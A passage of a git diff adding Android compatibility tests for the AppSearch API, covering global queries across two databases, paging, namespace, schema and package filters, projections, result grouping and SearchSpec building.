+    private AppSearchSessionShim mDb2;
+    private static final String DB_NAME_2 = "testDb2";
+
+    private GlobalSearchSessionShim mGlobalAppSearchManager;
+
+    protected abstract ListenableFuture<AppSearchSessionShim> createSearchSession(
+            @NonNull String dbName);
+
+    protected abstract ListenableFuture<GlobalSearchSessionShim> createGlobalSearchSession();
+
+    @Before
+    public void setUp() throws Exception {
+        Context context = ApplicationProvider.getApplicationContext();
+
+        mDb1 = createSearchSession(DB_NAME_1).get();
+        mDb2 = createSearchSession(DB_NAME_2).get();
+
+        // Cleanup whatever documents may still exist in these databases. This is needed in
+        // addition to tearDown in case a test exited without completing properly.
+        cleanup();
+
+        mGlobalAppSearchManager = createGlobalSearchSession().get();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Cleanup whatever documents may still exist in these databases.
+        cleanup();
+    }
+
+    private void cleanup() throws Exception {
+        mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+    }
+
+    private List<GenericDocument> snapshotResults(String queryExpression, SearchSpec spec)
+            throws Exception {
+        SearchResultsShim searchResults = mGlobalAppSearchManager.search(queryExpression, spec);
+        return convertSearchResultsToDocuments(searchResults);
+    }
+
+    /**
+     * Asserts that the union of {@code addedDocuments} and {@code beforeDocuments} is exactly
+     * equivalent to {@code afterDocuments}. Order doesn't matter.
+     *
+     * @param beforeDocuments Documents that existed first.
+     * @param afterDocuments The total collection of documents that should exist now.
+     * @param addedDocuments The collection of documents that were expected to be added.
+     */
+    private void assertAddedBetweenSnapshots(
+            List<? extends GenericDocument> beforeDocuments,
+            List<? extends GenericDocument> afterDocuments,
+            List<? extends GenericDocument> addedDocuments) {
+        List<GenericDocument> expectedDocuments = new ArrayList<>(beforeDocuments);
+        expectedDocuments.addAll(addedDocuments);
+        assertThat(afterDocuments).containsExactlyElementsIn(expectedDocuments);
+    }
+
+    @Test
+    public void testGlobalQuery_oneInstance() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec exactSearchSpec =
+                new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+        List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+        List<GenericDocument> beforeBodyEmailDocuments =
+                snapshotResults("body email", exactSearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail).build()));
+
+        // Query for the document
+        List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyDocuments, afterBodyDocuments, Collections.singletonList(inEmail));
+
+        // Multi-term query
+        List<GenericDocument> afterBodyEmailDocuments =
+                snapshotResults("body email", exactSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyEmailDocuments,
+                afterBodyEmailDocuments,
+                Collections.singletonList(inEmail));
+    }
+
+    @Test
+    public void testGlobalQuery_twoInstances() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec exactSearchSpec =
+                new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+        List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document to instance 1.
+        AppSearchEmail inEmail1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail1).build()));
+
+        // Index a document to instance 2.
+        AppSearchEmail inEmail2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail2).build()));
+
+        // Query across all instances
+        List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyDocuments, afterBodyDocuments, ImmutableList.of(inEmail1, inEmail2));
+    }
+
+    @Test
+    public void testGlobalQuery_getNextPage() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec exactSearchSpec =
+                new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+        List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        List<AppSearchEmail> emailList = new ArrayList<>();
+        PutDocumentsRequest.Builder putDocumentsRequestBuilder = new PutDocumentsRequest.Builder();
+
+        // Index 31 documents
+        for (int i = 0; i < 31; i++) {
+            AppSearchEmail inEmail =
+                    new AppSearchEmail.Builder("namespace", "uri" + i)
+                            .setFrom("from@example.com")
+                            .setTo("to1@example.com", "to2@example.com")
+                            .setSubject("testPut example")
+                            .setBody("This is the body of the testPut email")
+                            .build();
+            emailList.add(inEmail);
+            putDocumentsRequestBuilder.addGenericDocuments(inEmail);
+        }
+        checkIsBatchResultSuccess(mDb1.put(putDocumentsRequestBuilder.build()));
+
+        // Set number of results per page is 7.
+        int pageSize = 7;
+        SearchResultsShim searchResults =
+                mGlobalAppSearchManager.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setResultCountPerPage(pageSize)
+                                .build());
+        List<GenericDocument> documents = new ArrayList<>();
+
+        int pageNumber = 0;
+        List<SearchResult> results;
+
+        // keep loading next page until it's empty.
+        do {
+            results = searchResults.getNextPage().get();
+            ++pageNumber;
+            for (SearchResult result : results) {
+                documents.add(result.getGenericDocument());
+            }
+        } while (results.size() > 0);
+
+        // check all document presents
+        assertAddedBetweenSnapshots(beforeBodyDocuments, documents, emailList);
+
+        int totalDocuments = beforeBodyDocuments.size() + documents.size();
+
+        // +1 for final empty page
+        int expectedPages = (int) Math.ceil(totalDocuments * 1.0 / pageSize) + 1;
+        assertThat(pageNumber).isEqualTo(expectedPages);
+    }
+
+    @Test
+    public void testGlobalQuery_acrossTypes() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec exactSearchSpec =
+                new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+        List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+        SearchSpec exactEmailSearchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                        .addFilterSchemas(AppSearchEmail.SCHEMA_TYPE)
+                        .build();
+        List<GenericDocument> beforeBodyEmailDocuments =
+                snapshotResults("body", exactEmailSearchSpec);
+
+        // Schema registration
+        AppSearchSchema genericSchema =
+                new AppSearchSchema.Builder("Generic")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("foo")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .build())
+                        .build();
+
+        // db1 has both "Generic" and "builtin:Email"
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(genericSchema)
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .build())
+                .get();
+
+        // db2 only has "builtin:Email"
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a generic document into db1
+        GenericDocument genericDocument =
+                new GenericDocument.Builder<>("namespace", "uri2", "Generic")
+                        .setPropertyString("foo", "body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(genericDocument)
+                                .build()));
+
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+
+        // Put the email in both databases
+        checkIsBatchResultSuccess(
+                (mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email).build())));
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email).build()));
+
+        // Query for all documents across types
+        List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyDocuments,
+                afterBodyDocuments,
+                ImmutableList.of(genericDocument, email, email));
+
+        // Query only for email documents
+        List<GenericDocument> afterBodyEmailDocuments =
+                snapshotResults("body", exactEmailSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyEmailDocuments, afterBodyEmailDocuments, ImmutableList.of(email, email));
+    }
+
+    @Test
+    public void testGlobalQuery_namespaceFilter() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec exactSearchSpec =
+                new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+        List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+        SearchSpec exactNamespace1SearchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                        .addFilterNamespaces("namespace1")
+                        .build();
+        List<GenericDocument> beforeBodyNamespace1Documents =
+                snapshotResults("body", exactNamespace1SearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail document1 =
+                new AppSearchEmail.Builder("namespace1", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(document1).build()));
+
+        AppSearchEmail document2 =
+                new AppSearchEmail.Builder("namespace2", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(document2).build()));
+
+        // Query for all namespaces
+        List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyDocuments, afterBodyDocuments, ImmutableList.of(document1, document2));
+
+        // Query only for "namespace1"
+        List<GenericDocument> afterBodyNamespace1Documents =
+                snapshotResults("body", exactNamespace1SearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyNamespace1Documents,
+                afterBodyNamespace1Documents,
+                ImmutableList.of(document1));
+    }
+
+    @Test
+    public void testGlobalQuery_packageFilter() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec otherPackageSearchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                        .addFilterPackageNames("some.other.package")
+                        .build();
+        List<GenericDocument> beforeOtherPackageDocuments =
+                snapshotResults("body", otherPackageSearchSpec);
+
+        SearchSpec testPackageSearchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                        .addFilterPackageNames(
+                                ApplicationProvider.getApplicationContext().getPackageName())
+                        .build();
+        List<GenericDocument> beforeTestPackageDocuments =
+                snapshotResults("body", testPackageSearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail document1 =
+                new AppSearchEmail.Builder("namespace1", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(document1).build()));
+
+        AppSearchEmail document2 =
+                new AppSearchEmail.Builder("namespace2", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(document2).build()));
+
+        // Query in some other package
+        List<GenericDocument> afterOtherPackageDocuments =
+                snapshotResults("body", otherPackageSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeOtherPackageDocuments, afterOtherPackageDocuments, Collections.emptyList());
+
+        // Query within our package
+        List<GenericDocument> afterTestPackageDocuments =
+                snapshotResults("body", testPackageSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeTestPackageDocuments,
+                afterTestPackageDocuments,
+                ImmutableList.of(document1, document2));
+    }
+
+    // TODO(b/175039682) Add test cases for wildcard projection once go/oag/1534646 is submitted.
+    @Test
+    public void testGlobalQuery_projectionTwoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index one document in each database.
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+
+        // Query with type property paths {"Email", ["subject", "to"]}
+        List<GenericDocument> documents =
+                snapshotResults(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        ImmutableList.of("subject", "to"))
+                                .build());
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGlobalQuery_projectionEmptyTwoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index one document in each database.
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+
+        // Query with type property paths {"Email", []}
+        List<GenericDocument> documents =
+                snapshotResults(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, Collections.emptyList())
+                                .build());
+
+        // The two email documents should have been returned without any properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGlobalQuery_projectionNonExistentTypeTwoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index one document in each database.
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+
+        // Query with type property paths {"NonExistentType", []}, {"Email", ["subject", "to"]}
+        List<GenericDocument> documents =
+                snapshotResults(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection("NonExistentType", Collections.emptyList())
+                                .addProjection(
+                                        AppSearchEmail.SCHEMA_TYPE,
+                                        ImmutableList.of("subject", "to"))
+                                .build());
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testQuery_ResultGroupingLimits() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index one document in 'namespace1' and one document in 'namespace2' into db1.
+        AppSearchEmail inEmail1 =
+                new AppSearchEmail.Builder("namespace1", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail1).build()));
+        AppSearchEmail inEmail2 =
+                new AppSearchEmail.Builder("namespace2", "uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail2).build()));
+
+        // Index one document in 'namespace1' and one document in 'namespace2' into db2.
+        AppSearchEmail inEmail3 =
+                new AppSearchEmail.Builder("namespace1", "uri3")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail3).build()));
+        AppSearchEmail inEmail4 =
+                new AppSearchEmail.Builder("namespace2", "uri4")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail4).build()));
+
+        // Query with per package result grouping. Only the last document 'email4' should be
+        // returned.
+        List<GenericDocument> documents =
+                snapshotResults(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setResultGrouping(
+                                        SearchSpec.GROUPING_TYPE_PER_PACKAGE, /*resultLimit=*/ 1)
+                                .build());
+        assertThat(documents).containsExactly(inEmail4);
+
+        // Query with per namespace result grouping. Only the last document in each namespace should
+        // be returned ('email4' and 'email3').
+        documents =
+                snapshotResults(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setResultGrouping(
+                                        SearchSpec.GROUPING_TYPE_PER_NAMESPACE, /*resultLimit=*/ 1)
+                                .build());
+        assertThat(documents).containsExactly(inEmail4, inEmail3);
+
+        // Query with per package and per namespace result grouping. Only the last document in each
+        // namespace should be returned ('email4' and 'email3').
+        documents =
+                snapshotResults(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setResultGrouping(
+                                        SearchSpec.GROUPING_TYPE_PER_NAMESPACE
+                                                | SearchSpec.GROUPING_TYPE_PER_PACKAGE,
+                                        /*resultLimit=*/ 1)
+                                .build());
+        assertThat(documents).containsExactly(inEmail4, inEmail3);
+    }
+
+    @Test
+    @Ignore("TODO(b/183031844)")
+    public void testReportSystemUsage_ForbiddenFromNonSystem() throws Exception {
+        // Index a document
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+
+        // Query
+        List<SearchResult> page;
+        try (SearchResultsShim results =
+                mGlobalAppSearchManager.search(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addFilterSchemas(AppSearchEmail.SCHEMA_TYPE)
+                                .build())) {
+            page = results.getNextPage().get();
+        }
+        assertThat(page).isNotEmpty();
+        SearchResult firstResult = page.get(0);
+
+        ExecutionException exception =
+                expectThrows(
+                        ExecutionException.class,
+                        () ->
+                                mGlobalAppSearchManager
+                                        .reportSystemUsage(
+                                                new ReportSystemUsageRequest.Builder(
+                                                                firstResult.getPackageName(),
+                                                                firstResult.getDatabaseName(),
+                                                                firstResult
+                                                                        .getGenericDocument()
+                                                                        .getNamespace())
+                                                        .setUri(
+                                                                firstResult
+                                                                        .getGenericDocument()
+                                                                        .getUri())
+                                                        .build())
+                                        .get());
+        assertThat(exception).hasCauseThat().isInstanceOf(AppSearchException.class);
+        AppSearchException ase = (AppSearchException) exception.getCause();
+        assertThat(ase.getResultCode()).isEqualTo(AppSearchResult.RESULT_SECURITY_ERROR);
+        assertThat(ase)
+                .hasMessageThat()
+                .contains("com.android.cts.appsearch does not have access to report system usage");
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java
new file mode 100644
index 0000000..a3e1adc
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.app.appsearch.SearchSpec;
+
+import org.junit.Test;
+
+public class SearchSpecCtsTest {
+    @Test
+    public void buildSearchSpecWithoutTermMatchType() {
+        RuntimeException e =
+                expectThrows(
+                        RuntimeException.class,
+                        () -> new SearchSpec.Builder().addFilterSchemas("testSchemaType").build());
+        assertThat(e).hasMessageThat().contains("Missing termMatchType field");
+    }
+
+    @Test
+    public void testBuildSearchSpec() {
+        SearchSpec searchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                        .addFilterNamespaces("namespace1", "namespace2")
+                        .addFilterSchemas("schemaTypes1", "schemaTypes2")
+                        .addFilterPackageNames("package1", "package2")
+                        .setSnippetCount(5)
+                        .setSnippetCountPerProperty(10)
+                        .setMaxSnippetSize(15)
+                        .setResultCountPerPage(42)
+                        .setOrder(SearchSpec.ORDER_ASCENDING)
+                        .setRankingStrategy(SearchSpec.RANKING_STRATEGY_DOCUMENT_SCORE)
+                        .setResultGrouping(
+                                SearchSpec.GROUPING_TYPE_PER_NAMESPACE
+                                        | SearchSpec.GROUPING_TYPE_PER_PACKAGE,
+                                /*limit=*/ 37)
+                        .build();
+
+        assertThat(searchSpec.getTermMatch()).isEqualTo(SearchSpec.TERM_MATCH_PREFIX);
+        assertThat(searchSpec.getFilterNamespaces())
+                .containsExactly("namespace1", "namespace2")
+                .inOrder();
+        assertThat(searchSpec.getFilterSchemas())
+                .containsExactly("schemaTypes1", "schemaTypes2")
+                .inOrder();
+        assertThat(searchSpec.getFilterPackageNames())
+                .containsExactly("package1", "package2")
+                .inOrder();
+        assertThat(searchSpec.getSnippetCount()).isEqualTo(5);
+        assertThat(searchSpec.getSnippetCountPerProperty()).isEqualTo(10);
+        assertThat(searchSpec.getMaxSnippetSize()).isEqualTo(15);
+        assertThat(searchSpec.getResultCountPerPage()).isEqualTo(42);
+        assertThat(searchSpec.getOrder()).isEqualTo(SearchSpec.ORDER_ASCENDING);
+        assertThat(searchSpec.getRankingStrategy())
+                .isEqualTo(SearchSpec.RANKING_STRATEGY_DOCUMENT_SCORE);
+        assertThat(searchSpec.getResultGroupingTypeFlags())
+                .isEqualTo(
+                        SearchSpec.GROUPING_TYPE_PER_NAMESPACE
+                                | SearchSpec.GROUPING_TYPE_PER_PACKAGE);
+        assertThat(searchSpec.getResultGroupingLimit()).isEqualTo(37);
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/SetSchemaResponseCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/SetSchemaResponseCtsTest.java
new file mode 100644
index 0000000..2dff27b
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/SetSchemaResponseCtsTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
